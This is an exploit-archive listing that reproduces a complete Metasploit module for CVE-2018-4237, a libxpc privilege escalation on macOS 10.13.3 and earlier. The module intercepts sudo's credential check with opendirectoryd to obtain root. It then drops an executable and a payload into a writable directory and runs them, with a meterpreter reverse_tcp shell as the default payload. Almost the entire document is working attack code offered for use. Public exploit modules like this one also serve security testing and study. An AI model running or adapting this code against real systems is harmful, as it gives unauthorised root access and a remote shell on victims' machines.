Mac OS X libxpc MITM Privilege Escalation Exploit

2018-12-01
ID: 100377
CVE: None
Download vulnerable application: None
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
   include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
   def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X libxpc MITM Privilege Escalation',
      'Description'   => %q{
        This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
        The task_set_special_port API allows callers to overwrite their bootstrap port,
        which is used to communicate with launchd. This port is inherited across forks:
        child processes will use the same bootstrap port as the parent.
        By overwriting the bootstrap port and forking a child processes, we can now gain
        a MitM position between our child and launchd.
         To gain root we target the sudo binary and intercept its communication with
        opendirectoryd, which is used by sudo to verify credentials. We modify the
        replies from opendirectoryd to make it look like our password was valid.
      },
      'License'       => MSF_LICENSE,
      'Author'         => [ 'saelo' ],
      'References'     => [
          ['CVE', '2018-4237'],
          ['URL', 'https://github.com/saelo/pwn2own2018'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => 'osx',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Mac OS X x64 (Native Payload)', { } ]
        ],
      'DisclosureDate' => 'Mar 15 2018'))
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end
   def upload_executable_file(filepath, filedata)
    print_status("Uploading file: '#{filepath}'")
    write_file(filepath, filedata)
    chmod(filepath)
    register_file_for_cleanup(filepath)
  end
   def check
    version = Gem::Version.new(get_system_version)
    if version >= Gem::Version.new('10.13.4')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end
   def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
     if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end
     unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end
     exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
    exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(exploit_file, exploit_data)
    payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(payload_file, generate_payload_exe)
    exploit_cmd = "#{exploit_file} #{payload_file}"
    print_status("Executing cmd '#{exploit_cmd}'")
    cmd_exec(exploit_cmd)
  end
end
1.1.11-prod (www01)